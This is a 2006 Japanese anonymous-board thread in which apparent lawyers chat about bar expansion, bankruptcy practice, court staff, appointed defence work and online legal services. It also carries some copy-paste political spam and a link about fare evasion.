法曹人口増大の急先鋒は、鈴木良男という人物。
こいつは、司法改革推進本部の会議でも猛威を振るった。

今議論されてるのは、前にも出てきてるけど、9000人への
増員だ。

とにかく、フランスの法曹人口に10年で追いつくためには、
年間9000人必要なんだと。
追いついた後の10年でどういう状況になるか、空恐ろしい
ものがあるな。


496 :無責任な名無しさん:2006/02/11(土) 21:02:34 ID:iHAjqUgO
給料を半分にして、二人雇う事にするか

497 :無責任な名無しさん:2006/02/11(土) 21:06:03 ID:9hVBNr7E
イソ弁を大量に雇って、事件を大量に処理して、
イソ弁を使い捨てる、みたいな感覚の持ち主に
なることができるなら、この激変はチャンスなんだろうけど
俺は、一人で自分の感性にあう事件だけやりたい方だから、
今後はどうなるんだろうとつくづく思うよ。

498 :無責任な名無しさん:2006/02/11(土) 22:37:39 ID:C/nHVBni
昨日、出張で某所の東横インに泊まったんだけど今朝、チェックアウトしようと思ったらフロントの女性が
「おくつろぎいただけましたか?」
なんて普段言わないことを聞いてきた。
表情から察するに、ああ、彼女なりの気遣いなんだなと思って
「ええ。あなたたちも大変でしょうけど、ずっと使わせて頂くので頑張って下さい」
って言ってあげた。
彼女は一瞬間をおき
「ぁ……ありがとうございます!」
と言いながら急に泣き始めた。
俺は呆気にとられどうしていいか分からずにいたら、隣の客が拍手をしながら言う。
「頑張ってね!あなた達は何も悪くないんだから!」
他に8人くらいいた客もつられて拍手を始める。
「頑張れ!」「いいホテルだよ!!」
フロントには3人の女性がいたけど全員号泣。客も何人か泣いていた。涙と拍手。
テレビドラマみたいな光景だった。
気づいたら俺も泣いていた。信じられないと思うけど「本当に作り話。」


499 :無責任な名無しさん:2006/02/11(土) 22:39:06 ID:po16YGa8
うちの方じゃ左翼は、増員すれば人権の担手が増えると言っている馬鹿ばかりだ。I先生を教祖と拝む宗教団体も同じだ。

500 :無責任な名無しさん:2006/02/11(土) 22:42:46 ID:C/nHVBni
つーか、地方会では、将来の増員という問題と、現在人手が足りないという相反する二つの問題を抱えています。

501 :無責任な名無しさん:2006/02/11(土) 22:52:27 ID:po16YGa8
すんません。会によっては人手不足で会務が大変で増員を必要ということも知ってます。

502 :無責任な名無しさん:2006/02/11(土) 23:06:49 ID:iHAjqUgO
サラ金大手「アイフル」の問題をとりあげているアイフル被害対策全国会議(代表・河野聡弁護士)は
十日、同社のテレビCMの放映中止を在京キー局四社に申し入れました。
(中略)

 同対策会議は、サラ金業者はほぼ例外なくこの特約を設けているため「超過利息を取得できるサラ金業者は
皆無になった」と指摘。CMで違法な利息を表示しつづけていることは「視聴者に重大な誤解を与える違法・不当な
表示だ」として、CMの中止と、中止しない場合でも超過利息は支払う義務がないことを明示するよう求めました。

 同対策会議はまた、超過利息を認めない最高裁判決を報道したかなどについて、各局に公開質問しました。



民放ひどいな。報道してないらしいぞ

503 :無責任な無責任:2006/02/11(土) 23:07:43 ID:Y1xKeppf
最近、58期で、任官も、登録もしていない人数が、28名と言う資料が有ったが、本当かなあ?。28名も学者になったとも、思えないが?

504 :無責任な名無しさん:2006/02/11(土) 23:11:25 ID:+g6CglUm
地方単位会の事情も分かるけど、それでも年9000人のペースは
地方をも劇的に変えてしまうような希ガス
もうおいしくはやれないだろうね

505 :無責任な名無しさん:2006/02/11(土) 23:24:46 ID:NUhHvyoG
ここまでやると、さあ、立法でどうなっちゃうか、ってかんじだが、方向性としてはこれでいいと思う。
それよりもパチンコの方も問題かと。

506 :無責任な名無しさん:2006/02/12(日) 00:15:36 ID:Wbca7Eip
>>503
就職先が見つからなかったんじゃない?


507 :無責任な名無しさん:2006/02/12(日) 00:59:08 ID:TgBD1Nid
本当にパチンコ禁止すべきだと思うことがあります。
消費者系やってても国選やってても、パチンコで身を誤る奴が多すぎる
どうせ真面目にやらないんだったら、まだ自治体に金が入る公営やってくれっておもう。



508 :無責任な名無しさん:2006/02/12(日) 01:32:07 ID:ZveiAjsz
牧原秀樹先生の総理待望論が津波のうねりのように
沸き起こっていることは周知の事実。
当選に汲々として地元のどぶ板に明け暮れる
志の低い「あの人」やその周辺とは、ものが違うことを
認識してもらう必要がある。

総理候補(?)
http://www.hmacky.net/archives/diary/000332.html
東京に逆戻りして、武部幹事長と無派閥有志との食事会。
いろいろと率直で、かつ裏話なども伺った。本当に純粋な、温かい人柄である。
その中で、今日私が将来総理になるかどうかという話が同期の中で起き、
間違いなく候補にさせたいという声が上がる中、無理だという人もいた。
無理な理由は何かと問われて、「純粋で真面目すぎる。総理になるような人は
汚い手も使えるような人でなくてはならない」ということであった。
私の知らないところで、私が総理になれるかどうかという話題がなされているというの

509 :無責任な名無しさん:2006/02/12(日) 10:07:39 ID:uuD8aocm
コピペうざい

510 :無責任な名無しさん:2006/02/12(日) 16:10:22 ID:+Ov6g32o
>>507
破産の陳述書なんて,裁判所の作ってる書式が,そもそも
「パチンコやってる=浪費」
という前提だからな。

511 :無責任な名無しさん:2006/02/12(日) 18:03:58 ID:ex2PiFdb
>>507
おれは受験時代,
パチンコで答練代稼いでたw

512 :無責任な名無しさん:2006/02/12(日) 18:06:10 ID:SFBDcDjK
うちの破産申立人の中に、パチンコはしてた、でも月平均で数万円浮いてたから
浪費じゃないと言い張ってるやつがいる。

513 :無責任な名無しさん:2006/02/12(日) 18:50:33 ID:Q2rjTOLU
先生は事務員からチョコ貰ったら嬉しいですか?
日ごろお世話になってるので上げようかと思ってるんですが・・



514 :無責任な名無しさん:2006/02/12(日) 19:10:31 ID:+Ov6g32o
>>512
たまにいるね。
パチンコしてたけど,実際稼いでたって人。
でも,そんなパチプロで破産の相談に来る人は,稼いだ金以上の金をすぐに飲み食いなどに使っちゃう人が大半。
浪費の自覚がないからより悪質。

ところで,貴職らの地方だと,どのくらいのパチンコ浪費で免責観察管財になりますか?
この前,5年間で100万くらいパチンコで浪費した人が同廃で済みました。給料との比率にもよるんでしょうけど。

515 :無責任な名無しさん:2006/02/12(日) 19:59:41 ID:5k8jt+Hm
>>514
西日本の某支部では、少額管財がないので基本的に同廃で、あとは免責審尋だけです。
裁判所は司法書士を管財人にしたがっているが、弁護士会として強く反対しているので
当面はそのような事態は避けられています。
個人的には、少額管財ぐらい司法書士に呉れてやってもいいと思っているが・・・


516 :無責任な名無しさん:2006/02/12(日) 20:55:34 ID:+Ov6g32o
>>515
申立代理人に任意積立弁済をさせている地方もあるようですね。

これから,「行列」若手スペシャルだそうで。

517 :無責任な名無しさん:2006/02/12(日) 20:56:07 ID:z3fPfOi/

事務所を辞めるっていつ言おうか悩んでる。
引き継ぎのことを考えると、3か月ぐらい前にはボスに言っておくべきなんだろうか。


518 :無責任な名無しさん:2006/02/12(日) 20:59:30 ID:7pd6LJ6l
me too

519 :無責任な名無しさん:2006/02/12(日) 21:19:16 ID:fialv/F2
2週間前に言って辞めちゃおう。
就業規則を作ってないボスばっかりだろし。

弁護士2人で「50人の事務員雇ってる」ってテレビで公言できるふてぶてしさが俺にも欲しいなあ。

520 :無責任な名無しさん:2006/02/12(日) 22:12:13 ID:ooIlzVyQ
>>517
3人で一斉に予告なしにやめた人を知ってます。
日曜日に書き置きをしてやめたとか。

521 :無責任な名無しさん:2006/02/12(日) 23:05:49 ID:iB9U0pcF
>>513
ホワイトデーが面倒だから、何も贈らないのがマナーです。

522 :無責任な名無しさん:2006/02/13(月) 01:48:55 ID:SjYwfSVd
>>519
なー。恥知らずにもほどがあるな、あいつ。

523 :無責任な名無しさん:2006/02/13(月) 02:56:14 ID:DroOuNNd
恥知らずなだけならまあいい(?)けれど・・・
弁2と事務員50という割合だと・・・

524 :無責任な名無しさん:2006/02/13(月) 05:31:34 ID:ncW2g1Mb


525 :無責任な名無しさん:2006/02/13(月) 09:50:26 ID:KcvHbpZi
見てなかった。誰のこと?

526 :無責任な名無しさん:2006/02/13(月) 12:42:00 ID:MU/wE0uL
>525

http://www.adire.jp/

527 :無責任な名無しさん:2006/02/13(月) 12:56:05 ID:zKtOAhRe
>>526
こいつ56期なんだなw

528 :無責任な名無しさん:2006/02/13(月) 14:36:31 ID:MU/wE0uL
債務整理で事業は必ず再生できる!
って,結果を請け負っちゃっていないか?

529 :無責任な名無しさん:2006/02/13(月) 15:07:00 ID:F9vxEpi0
2名の弁も56期と58期。
すげーな。

530 :新会長:2006/02/13(月) 15:14:12 ID:xLVKIgGa
東京3会のクレサラセンターのHPも50歩100歩だ。
クレサラは、競争が激しいからどうしてもこういう表現になるんだろうね。
これで懲戒なら、東京3会の会長も懲戒だね。

531 :無責任な名無しさん:2006/02/13(月) 15:22:27 ID:zKtOAhRe
うちの地方では,クレサラの競争が激しいなんてことはない。そんなもん取り合わない。
弁護士の数が増えたら,国選や当番まで取り合いになるんだろうな。
1500でもそうなのに3000ってなんだよ。

はあ やめたい

532 :無責任な名無しさん:2006/02/13(月) 15:45:31 ID:701jzzrZ
ベテランの弁護士って、別の弁護士に用があるときでも最初に事務員に
電話かけさせるのがデフォなの?
事務員から電話がかかってきて、こっち(弁護士)が出たこと確認してから
すぐに「弁護士に代わります」って言われるとムカつく・・・。
「代わります」って言われてすぐに弁護士が出るならいいけど、待たされると
そっちからかけてきてその態度は何だ?偉そうに。と思う。


533 :無責任な名無しさん:2006/02/13(月) 16:07:14 ID:fjew1l15
>>526
いずれ遠くない将来に、こんなHPや事務所がわさわさと出現するんだろうな。

>>532
なかなかでない場合とかあって、待たされるのが面倒だから。
俺はベテランではないですが。





534 :無責任な名無しさん:2006/02/13(月) 16:09:01 ID:xLVKIgGa
俺も若いころはむかついた。自分がベテランになってもそうならないようにしようと思った。
でも今はしている。悪いとは思うが、楽だからつい・・・。特に相手が若い弁の時はそう。
だから今は年上の弁からそうされても腹は立たない。

535 :無責任な名無しさん:2006/02/13(月) 16:28:43 ID:zKtOAhRe
なんだよ
って思うけど,そのくらいでしかない。

それよりも,うちの事務員は電話のマナーを知らなすぎるので,そっちの方がいらつく。

536 :532:2006/02/13(月) 17:25:09 ID:701jzzrZ
電話かけてなかなか出ない場合に、自分が待たされるのは面倒だけど、
相手(若い弁)を待たせるのは別に構わないってことですよね・・・。

事務員さんに電話かけさせること自体は別にいいけど、せめて、事務員に電話
かけさせた時ぐらい、自分の電話の前に待機してろよ。
こっちが電話に出たら、事務員さんが「今弁護士に代わりますのでお待ち下さい〜」
と言って1分も2分も下手すりゃ3分も待たされるのは一体何なんだ。くそっ。
こっちだって忙しいんだよ。



537 :無責任な名無しさん:2006/02/13(月) 17:35:34 ID:xLy2lY7L
そりゃ、いくら何でもひどいわ。
俺だったら、直接文句いうけどね。

538 :無責任な名無しさん:2006/02/13(月) 18:03:23 ID:zKtOAhRe
そういうときは電話を切ればよい。


539 :無責任な名無しさん:2006/02/13(月) 18:57:21 ID:tYd+E68X
だね。用があったらまた掛けてくるわけだし。

540 :無責任な名無しさん:2006/02/13(月) 22:07:31 ID:F+4BhuBq
新会社法って,何月から施行されるの?

541 :無責任な名無しさん:2006/02/13(月) 22:52:39 ID:KcvHbpZi
4月かな。

542 :無責任な名無しさん:2006/02/13(月) 23:20:22 ID:RgCXCTn7
>>532
病院や政治家なんかでも時々そういった勘違いしているのはいる。
俺は、客じゃない限りはっきり苦情を言っているけどね。

543 :無責任な名無しさん:2006/02/13(月) 23:51:45 ID:K+UvmO9X
5月から施行の予定だが、まだ政令が出てないと聞いたようなきがする

544 :無責任な名無しさん:2006/02/14(火) 00:21:58 ID:+nNF8jBM
100条越えとか言ってなかったっけ?

545 :無責任な名無しさん:2006/02/14(火) 01:07:49 ID:9OIA+fSp
あくまで爽やかに、謙虚に、慎ましやかにご挨拶を続ける
牧原秀樹先生。それに引き換え、人様の迷惑も顧みず大音量で
悪口オンパレードの他党候補はいかがなものか。品性というもの
について深く考えさせられるエピソードだった。


危険な批判
http://www.hmacky.net/archives/diary/000319.html
2006.01.24 / 固定リンク | コメント (0) | トラックバック (0)

今日は朝大宮駅西口で6時30分過ぎからご挨拶。非常に寒い朝であった。
7時過ぎからは他党候補の方が後からやってきて大音量でマイクを使って
自民党批判を開始。私は、マイクを使わずご挨拶を心をこめてし続けたが、
通勤客の方は多少とまどいを感じられた方もいらっしゃったようだ。
私はどのようなことをされても他党を批判しないことにかえって決意した。
大切なのは何党だろうと国民のための政治をすること。
批判を続けても何も生まれない。大切なのはしっかりと生み出すことである。


546 :無責任な名無しさん:2006/02/14(火) 01:27:57 ID:9sztBl71
>>543 施行日を定める政令が今月中に出る予定、と聞いているが・・・。

547 :無責任な名無しさん:2006/02/14(火) 12:41:34 ID:K1sZn4Dn
法務省の中の人の話では「5月1日施行と考えてもらって差し支えない」とのこと。
>新会社法

548 :無責任な名無しさん:2006/02/14(火) 14:36:16 ID:5BjmMYJd
民事執行部ってどの地域でも態度でかいの?

549 :無責任な名無しさん:2006/02/14(火) 14:54:28 ID:OwBNRZ9y
>548

わろた。たしかにどこでもそうだった。なんでかねえ。

550 :無責任な名無しさん:2006/02/14(火) 14:55:28 ID:zYeAURth
宋かも試練けど、保全部の方が態度でかいという評価もある。

551 :無責任な名無しさん:2006/02/14(火) 15:28:00 ID:5BjmMYJd
匿名で民事執行部に電話して手続きについて問い合わせしたんだが、
占有屋に間違えられた。

いまさら、職業を名乗れないので適当に流していたら、「すぐ何かあると、
妨害しようとする!法律はそんなに甘くない!!」って怒鳴られ、法解釈
を延々と聞かされ、口を挟むと「法律は条文だけでない。解釈は妥当結果
から導いてもらわないと困る」って説教されたよ。

552 :無責任な名無しさん:2006/02/14(火) 16:15:52 ID:IVZshquw
>>548
うちの地方では,執行部は優しいよ。
手続がわからなかったら,弁護士の○○ですが,手続わからんから教えてください
とあっさり聞きます。
優しく教えてくれます。

とはいえ,最低限の調べもしないまま問い合わせしていたら切れられるのは明白ですけど,僕はそうじゃないので大丈夫です。

553 :無責任な名無しさん:2006/02/14(火) 16:18:42 ID:IVZshquw
保全の方が偉そうだな。
特に「今回は必要性がそれほど高くないので」と抜かしながら保証金高めに言われたりとかするとむかつくね。

いろいろ書かなくても必要性なんか見え見えじゃないか!!

と怒りつつ思っても,結局言い値を法務局に持って行くはめになる。

554 :無責任な名無しさん:2006/02/14(火) 16:19:49 ID:SKvdGe6P
執行部は弁護士と名乗ると低姿勢になるが、保全部は弁護士と名乗っても高圧的

555 :無責任な名無しさん:2006/02/14(火) 17:07:19 ID:nTyMu/t5
「ふざけるな馬鹿」の原因となった「愚行」を知りたいw

556 :無責任な名無しさん:2006/02/14(火) 17:26:56 ID:zYeAURth
俺もそれを知りたい。
相手方当事者にならともかく(それでも懲戒の対象にはなるだろうが)
相手方代理人に言って、しかも、綱紀委員会に提出した弁明書にまで
「○○と批判されても甘受するほかない・・・」
って、書いたというのは、豪傑だわ。


557 :無責任な名無しさん:2006/02/14(火) 17:33:51 ID:IVZshquw
新しい懲戒ですか?
うちの地方に自由と正義がくるのは明日かな

558 :無責任な名無しさん:2006/02/14(火) 17:47:32 ID:Zun8sJzx
「ふざけるな馬鹿!」
加齢現象でとみに短気で怒りっぽくなってきているのか、法廷でもこう怒鳴りたくなることが出てきている。
なるほど、言ったら懲戒に該当するんですね。
自重、自重・・・。

 でも、私なら、こんなの相手に懲戒申立なんてしないがな。


559 :無責任な名無しさん:2006/02/14(火) 17:55:00 ID:OwBNRZ9y
いつぞや話題になった気がするが,切れやすい弁護士なんだろうね。

まわりとしては
「過去にも将来にもこのような愚行をとり続けるのであろう。」
って,どっちが?と思ってるんだろうね。

560 :無責任な名無しさん:2006/02/14(火) 18:01:29 ID:Ukny0q8F
これだけ見て、ああ確かにこの人が悪いなという気持ちにはならないな。
実際、「ふざけるな馬鹿」といいたくなる相手方弁護士はいる。

561 :無責任な名無しさん:2006/02/14(火) 18:26:03 ID:WQ3YqT3o
>>560
たしかに、「ふざけるな馬鹿」といわれたことで懲戒請求するような
弁護士も何となくどうかなという気はしないでもない。

562 :無責任な名無しさん:2006/02/14(火) 19:25:07 ID:eXcOjsr2
国選の被告人の家族にはイラついた。
まるで自分達が被害者のような物言いだった。

563 :無責任な名無しさん:2006/02/14(火) 19:55:47 ID:Zun8sJzx
>>562
そんなことでイラつくようだったら、貴方は、今後、国選をしない方がいいのではと思うぞ。

一生懸命にやっても、菓子折提げてあいさつに来るのは千に一つ、ハガキで礼状よこすのは百に一つ。

累犯前科のあるヤツから、「オラー!オメーの物言いが気に入らん、出たら行くから覚えてろー!」って、柵越しに怒鳴られたので、
用心のため、そいつの出所予定数ヶ月前には、所轄の刑事課長に事情説明に参上し、事務所には防犯ベルとカメラを設置し、事務員には、「こいつが来たら、すぐ後ろの扉から出て○署の刑事課に直通電話を入れろ」と、準備万端。
さらに、ドーベルマンを2頭買い入れようとしたが、我妻から「アンタはかけがえのない人だと思っているが、それは浪費ではないでしょうか」と言われて思い止まった。

これぐらいの覚悟がないと、国選なんてやらん方がいいと思うここ数年です。


564 :無責任な名無しさん:2006/02/14(火) 20:01:12 ID:eXcOjsr2
そいつはもともと悪者だから、別にイラつかないですよ。

565 :無責任な名無しさん:2006/02/14(火) 20:31:38 ID:IVZshquw
>>563
人にアドバイスできるような弁護してないのが明らかですねw
警察にいらん借りを作って何したいんですか。

菓子折10件に1人くらいいるだろ。もらわんけど。

ま,ネタ乙

566 :無責任な名無しさん:2006/02/14(火) 21:34:58 ID:TGEaYHQr
>>563
> そんなことでイラつくようだったら、貴方は、今後、国選をしない方がいいのではと思うぞ。

ここだけ同意。


つうか国選千件やってたらスゲーよww

菓子折っつうと昔、研修所時代に倫理で出てきたね

567 :無責任な名無しさん:2006/02/14(火) 22:01:50 ID:TcyDuH5A
>>552
最低限も調べず、よくしってますね〜とおだてて教えてもらったことがある。


568 :無責任な名無しさん:2006/02/14(火) 22:03:37 ID:eXcOjsr2
でも、イラつかない感性もおかしいと思うけどね。
イラついても、表面には出さずに、仕方ないと割り切って仕事をしてるよ。

569 :無責任な名無しさん:2006/02/14(火) 22:04:10 ID:TcyDuH5A
>>562
ある意味被害者だろ。
個人責任なんだから、被告人が勝手に悪さをして、それで家族が説教されたり、示談金を用意させられたりするのは、ある意味被害者といってもいい。

まあ、562の事件がどんなのかは知らないけど・・・

570 :無責任な名無しさん:2006/02/14(火) 22:34:02 ID:/G6D+N/Y
>>563
「出たら行くから覚えてろー!」と言われて,実際に事務所に来るのも百に一つかな。

>>565
警察に「借り」とか「貸し」とか考えるのもどうかと思うが。
警察は市民として利用する。戦うべきときは戦う。
借りがあると戦えないというほうがおかしい。


571 :無責任な名無しさん:2006/02/14(火) 22:37:18 ID:/G6D+N/Y
執行保全は書記官に聞きまくる。恥ずかしいことは事務員に聞かせる。
ときどき,新日本法規の本のコピーをFAXでいただくこともある。
通常の訴訟でも,証拠の出し方などを遠慮なく聞く。整理等の都合もあるから聞いてもらった方がありがたいと修習のとき聞いたので。
そこから裁判官の心証をさぐれたりすることもある。
書記官には感謝している。裁判官のいないところで,ときどき雑談で苦労をねぎらうようにしている。


572 :無責任な名無しさん:2006/02/14(火) 23:08:39 ID:ISBL8dRQ
>>570
要らん借り作ったらいけないというのは世の中の知恵ですよ。
戦うとか利用するとか上っ滑りなこと言ってるけど、変な借り作ったら、本人が軽く見られるよ。
うちなんか地方で、警察から弁護士の顔が見えるからなおさらだ。
警察動かすのは理屈だけじゃないでしょ。軽かったら本当に警察がいるときには動いてくれんよ。
オオカミ少年ってしっとるかね

573 :無責任な名無しさん:2006/02/14(火) 23:23:29 ID:oGzLD7E9
http://news.www.infoseek.co.jp/topics/society/city_planning.html?d=14fuji67626&cat=7&typ=t

こういうところにあこがれます。

574 :無責任な名無しさん:2006/02/14(火) 23:56:26 ID:Jfi/0LX+
ところで、自由と正義と一緒に送られてきた司法改革最前線だかなんだか
新聞っぽいのによれば、弁護士報酬のクレジット払いを認める方向だとか。


575 :無責任な名無しさん:2006/02/15(水) 00:19:17 ID:ggNJiCcw
抗弁の接続を主張される弁護士が出るのかw

ま、おれはやだね。

576 :無責任な名無しさん:2006/02/15(水) 00:23:05 ID:cO9LKp0N
>>563
菓子折り云々は、私選での事をおっしゃってるんですよね
国選で菓子折り要求は有り得ないので、国選以外の事で
書いておられるとしても
その書き方だと要求してるように読めますよ。
ここを一般の方が見ていると
「私選なら菓子折り持って行かねば」
と勘違いされそうです。
ハガキでの礼状も別にいらない

ほっとした顔で、ありがとう、の一言をもらえると
本当に嬉しい。まあ、感謝しろとはいいたくないけど、
とにかく結果に対して納得してもらえると嬉しい。

と、腰の低い弁護士のチラ裏でした。

577 :無責任な名無しさん:2006/02/15(水) 00:45:26 ID:cQK2dwnK
>>574
消費者委員の一部の感情的な反発は気に入らないが,手数料が業務の紹介・勧誘・誘引の対価と解釈しうるという意見は理解できる。
あんまり気が進まないな・・・

578 :無責任な名無しさん:2006/02/15(水) 06:29:13 ID:Ju1pSwcu
あくまで爽やかに、謙虚に、慎ましやかにご挨拶を続ける
牧原秀樹先生。それに引き換え、人様の迷惑も顧みず大音量で
悪口オンパレードの他党候補はいかがなものか。品性というもの
について深く考えさせられるエピソードだった。


危険な批判
http://www.hmacky.net/archives/diary/000319.html
2006.01.24 / 固定リンク | コメント (0) | トラックバック (0)

今日は朝大宮駅西口で6時30分過ぎからご挨拶。非常に寒い朝であった。
7時過ぎからは他党候補の方が後からやってきて大音量でマイクを使って
自民党批判を開始。私は、マイクを使わずご挨拶を心をこめてし続けたが、
通勤客の方は多少とまどいを感じられた方もいらっしゃったようだ。
私はどのようなことをされても他党を批判しないことにかえって決意した。
大切なのは何党だろうと国民のための政治をすること。
批判を続けても何も生まれない。大切なのはしっかりと生み出すことである。

579 :無責任な名無しさん:2006/02/15(水) 06:51:36 ID:lV+i7ACN
>つうか国選千件やってたらスゲーよww
国選1年30件×30年ちょとで1000件になるよ。
月2件のノルマ+弁護士会・裁判所からのヘルプで30件。

もっとも大阪に1年で国選600件やった人がいるという話...

580 :無責任な名無しさん:2006/02/15(水) 06:56:51 ID:U2Ks2WWK
>>579
国選年600件って、いつ接見に行ってんだろう?
被害弁償関係は放置かな?

581 :無責任な名無しさん:2006/02/15(水) 07:06:36 ID:OV9zlRPw
>>580
大阪なら、シャブとか、酒気帯びとか、オーバーステイとか、被害者のいない、
類型的に処理できる(弁論要旨の使い回しのできる)事件ばかりを選べば、
どうにかなるような気がしないでもない。

と思ったが、年600回だと週11.5回か…
2日2事件。
うーん、物理的に可能か不可能かなんとも微妙だ。
ネタと断定しづらい。

582 :行き詰まり弁護士 ◆BAKA/8y6zk :2006/02/15(水) 08:14:39 ID:9xJIzOAB
当職の昨年1年間の国選受任件数は硬軟取り混ぜて60件でした。
そのうち7〜8件は控訴,上告の取下げで何もしないで終わったものです。

583 :無責任な名無しさん:2006/02/15(水) 08:23:45 ID:7Potlthe
>>581
土日は休まないのか。法廷もやってないし。

584 :無責任な名無しさん:2006/02/15(水) 08:42:42 ID:P5eEsBI5
600件だったかどうかは忘れたが、問題になって国選の取り方が変更
になったのは確か。その人は、法廷で被告人に名刺を渡してたなあ。

585 :無責任な名無しさん:2006/02/15(水) 08:51:32 ID:h0Si3Nae
国選だけで4800万円かよ。

586 :新会長:2006/02/15(水) 10:36:38 ID:XJgJ4auN
今日の朝日新聞に顧問弁護士ドットコムができたとの記事がのっていたが、月5000円でネットで
回答って、どう考えても採算割れだろう。記録が残るから微妙な回答はできないし、トラブルの種が
一杯。どうすんだろう。単なる広告宣伝費と割り切るのかな?

587 :無責任な名無しさん:2006/02/15(水) 10:44:36 ID:6L17yAuJ
>>586
やばいな。それ。守秘義務保障されるの?
SSL経由じゃなければ、マヅイ。
でも、
・・・重宝目的テキ?

588 :無責任な名無しさん:2006/02/15(水) 10:44:41 ID:WOJ5eDo8
国選600件やるとしたら・・・
事件は簡単なやつだけ選んで、
起訴状一本主義で公判に臨み、
口頭主義を実践しないと無理だな。


589 :TN:2006/02/15(水) 10:47:43 ID:3DjiXdOz
大阪で記録も読まず接見にも行かずに大量の国選事件を受任して問題になったケースがあるとは聞いたことがある

590 :無責任な名無しさん:2006/02/15(水) 16:13:41 ID:9Sw+mBpH
>>586
どこだかの連中が非弁の疑いありって噛みついていなかったっけ?

591 :無責任な名無しさん:2006/02/15(水) 16:20:40 ID:vctxd7bj
>>590

アホですか?

592 :行き詰まり弁護士 ◆BAKA/8y6zk :2006/02/15(水) 16:50:58 ID:Z4w26jfD
今日裁判所のエレベーターでムネヲ議員と乗り合わせた。むるわかはいなかったけど。

593 :無責任な名無しさん:2006/02/15(水) 17:24:29 ID:Rvv4Gkwv
>>576
国選で菓子折ってあるだろ。

594 :無責任な名無しさん:2006/02/15(水) 17:25:39 ID:Rvv4Gkwv
要求はしないけど,家族とかが持ってくることがね



595 :無責任な名無しさん:2006/02/15(水) 20:16:37 ID:G4s6KnIN
>>590
bengo4.comは,事件斡旋営業だといって噛みつかれてたが。


596 :無責任な名無しさん:2006/02/15(水) 20:17:44 ID:G4s6KnIN
>>586
弁護士が客として顧問契約できるんでしょうか?
月5000円なら,調べる手間を省きたいときに,ちょっと使いたい。
そして,間違ってたら損害賠償請求。5割くらい過失相殺されそうだけど。

597 :無責任な名無しさん:2006/02/15(水) 21:10:47 ID:wjtQxg1/
>>596
その使い方いいですね。
あるいは事務所のホームページでメールでの無料法律相談やって,
それを全部投げるとか。


598 :無責任な名無しさん:2006/02/15(水) 21:48:07 ID:5vmSxf4U
>>586
どこかで聞いたことのある名前かと思って記事を見ると、よく知ってる先生だった。
そこの事務所はうちの事務所と深くつきあいがある。


599 :UTS:2006/02/15(水) 22:23:33 ID:GwvK0X03
非弁調査で類似の事件を今着手したところ。
行政書士が代取の法人が無料相談と言ってHP上で客を勧誘し、大量に自己処理するか弁護士でないと出来ない事案は提携弁護士に事件を流しているみたい。県をまたいでの活動だし、しっぽが掴めない。非弁調査にもcamみたいなメーリングリストがあればいいのにね。

600 :UTS:2006/02/15(水) 22:34:01 ID:GwvK0X03
類似事件で非弁調査中。行政書士が代取の法人が無料相談のHPで客をつり、行政書士ができない事件だけ提携弁護士に紹介料を取って丸投げしている模様。県をまたいでいて、証拠も不十分なので厳しい。非弁調査にもcamみたいなMLがあればいいのにね。


601 :無責任な名無しさん:2006/02/15(水) 22:36:34 ID:GwvK0X03
ごめん初心者なので間違って重複して書き込みしてしまった、ガクっ

602 :無責任な名無しさん:2006/02/15(水) 22:56:58 ID:9Sw+mBpH
>>595
すまんそれだ。
>>586は「顧問」なのね。ちゃんと読んでなかった…orz

603 :無責任な名無しさん:2006/02/15(水) 23:07:04 ID:4oajd4VY
>>599 - >>601 ドンマイ!! 情報ありがとう!気にせずこれからも書き込みして下さいね

604 :無責任な名無しさん:2006/02/15(水) 23:39:07 ID:tb+g3S61

ネット時代で、弁護士数が増えるんだから、ネット経由の法律相談も
弁護士紹介も良いんじゃない?
法律相談をする消費者の立場で考えるべきだと思うが・・・
サービス・アクセスの悪さが外資参入を許してしまったわけだしさぁ。


605 :無責任な名無しさん:2006/02/15(水) 23:51:49 ID:Ju1pSwcu
牧原秀樹先生のルックスが凛々しいのも事実。すばらしい頭脳も事実。
でも、牧原先生の本当に凄いところは、ひけらかすことなく、
あくまで謙虚であるところ。次回までの戦いで、いかにして、
牧原先生の勝利を勝利を確実にできるのか、一人ひとりが何ができるのか、
何をすべきなのか、何が求められているのか、死に物狂いの努力なしで
さいたまの未来はない、というところまで自分を追い詰めないと、
自分自身を許せない。


606 :無責任な名無しさん:2006/02/16(木) 00:19:51 ID:w1HDbhIv
タイトルにワラタ。
ほんと、完全にみなし弁済死んだよね。
これからどーすんだろあの業界。

607 :無責任な名無しさん:2006/02/16(木) 07:22:05 ID:tEAtYgJs
>これからどーすんだろあの業界。
将来の法曹増員で今以上に厳しくなるだろうな〜。

大手・中堅は利息制限法を守って商売し、優良客を持っている銀行系が躍進の予感。
客を選べば十分儲かる(というよりそっちの方が儲かるかも)。
弱小は淘汰されて闇金化?
大手・中堅に相手にしてくれない黒い客は闇金へ。

という展開に100ペセタ。


608 :無責任な名無しさん:2006/02/16(木) 09:29:13 ID:tjtkkoEe
判タ判時に載ってる判例は,どこから入手してるんでしょうか。
裁判官や代理人が,「これは!」と思った判決を投稿してるんでしょうか。

609 :無責任な名無しさん:2006/02/16(木) 09:51:02 ID:yyngaiSj
>>608
非弁乙

610 :無責任な名無しさん:2006/02/16(木) 11:30:45 ID:ESAbVSZw
>607
弁も過払い訴訟が将来的にじり貧になってきて…

611 :TN:2006/02/16(木) 11:41:24 ID:UOagMkxW
過払い訴訟もこの数年でお終いだろうね
3〜5年先にはクレサラ案件はまた闇金相手のしょぼい事件に逆戻りだろう
将来的にあまりこの種の事件で飯を食おうと考えない方がいいよ

612 :無責任な名無しさん:2006/02/16(木) 12:38:17 ID:OOFJNSos
>611
どうだろう?刑事罰がない限り、グレーゾーンを続けるではないかな。
消費者金融の貸付先消費者の全てが弁護士に依頼するわけでもなく、また、弁護士が就任できるわけでもないし。
 また、かつて43条が制定されたときのように、最高裁判例を空文化する立法が為される可能性もあるしね(自民党単独政権になったら特に。)。

613 :無責任な名無しさん:2006/02/16(木) 14:37:20 ID:fpX4eA+Z
いずれにせよバカみたいに数が増えるんだからメシ食えなくなるよ

614 :無責任な名無しさん:2006/02/16(木) 14:50:44 ID:RCBC2ktz
浪人生デスマーチ 一大キセル旅行 http://ex14.2ch.net/test/read.cgi/news4vip/1139950075/
旅の理念
○すべて各駅停車で進む。
  有料特急は一切使わない!
○なるべく海沿いを進む!
○なるべく交通費を浮かす→できるかぎりキセルする!
「西国分寺から仙台まで0円で済んだよ♪」
http://d.hatena.ne.jp/shirato/20051019/
トップページ
http://d.hatena.ne.jp/shirato/
 ↑のブログは証拠隠滅のはかられ消えてしまいました。
        ↓↓↓↓↓を参照して下さい。
http://green.ribbon.to/~kirin/shirato/20051019.htm
http://vipquality.tripod.com/
